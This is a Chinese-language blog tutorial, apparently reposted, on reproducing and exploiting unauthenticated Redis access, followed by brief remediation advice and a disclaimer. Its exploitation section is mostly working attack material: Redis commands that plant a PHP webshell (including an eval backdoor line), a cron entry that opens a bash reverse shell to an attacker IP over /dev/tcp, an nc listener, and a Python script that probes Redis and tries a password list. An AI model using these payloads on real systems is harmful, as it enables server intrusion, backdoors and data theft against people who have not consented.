Redis未授權訪問漏洞復現與利用


漏洞簡介

Redis默認情況下,會綁定在0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源ip訪問等,這樣將會將Redis服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。攻擊者在未授權訪問Redis的情況下,利用Redis自身的提供的config命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器。

漏洞的產生條件有以下兩點:

  • redis綁定在 0.0.0.0:6379,且沒有進行添加防火牆規則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網;
  • 沒有設置密碼認證(一般為空),可以免密碼遠程登錄redis服務。

漏洞危害

  • 攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據;
  • 攻擊者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件;
  • 如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器

漏洞環境搭建

靶機環境搭建

centos7搭建redis數據庫服務
注意

  • 配置redis服務環境變量
cp -r /redis-4.0.6/src /usr/local/
//啟動redis-server和redis-cli不用每次進入安裝目錄(類似配置環境變量)
  • 復制/redis-4.0.6/redis.conf到/etc/
  • 配置/etc/redis.conf
# bind 127.0.0.1
protected-mode no

攻擊機環境搭建

攻擊機環境搭建

redis常用命令

redis-cli -h host -p port -a password//登陸
ping //PONG返回響應是否連接成功
echo //在命令行打印一些內容
info //返回redis的相關信息
config get dir/* //實時傳儲收到的請求
flushall //刪除所有數據庫中的數據庫

redis常用命令

漏洞復現

上傳webshell

config set dir /var/www/html/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
//set webshell "<?php @eval($_POST['cmd']); ?>"//上傳一句話php木馬
save



nc反彈shell

  • 利用cron反彈shell
redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.2.130/6666 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

  • 攻擊機利用nc監聽6666端口
nc -lvp 666

利用"公私鑰"認證獲取root權限

復現鏈接

POC

python2 redis未授權訪問.py 192.168.2.147 6379

#coding=utf-8
#可用來測試是否存在未授權或弱口令的情況:
#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授權訪問"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密碼:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

漏洞修復

1、將redis.conf改成如下配置

bind 127.0.0.1
protected-mode yes


2、poc驗證

python2 redis未授權訪問.py 192.168.2.147 6379

參考鏈接

CSDN-Redis未授權訪問漏洞復現
CSDN-Redis未授權訪問漏洞利用總結
CSDN-Redis下載及安裝(windows版)
CSDN-10.Redis未授權訪問漏洞復現與利用
cnblogs-10.Redis未授權訪問漏洞復現與利用

聲明

嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM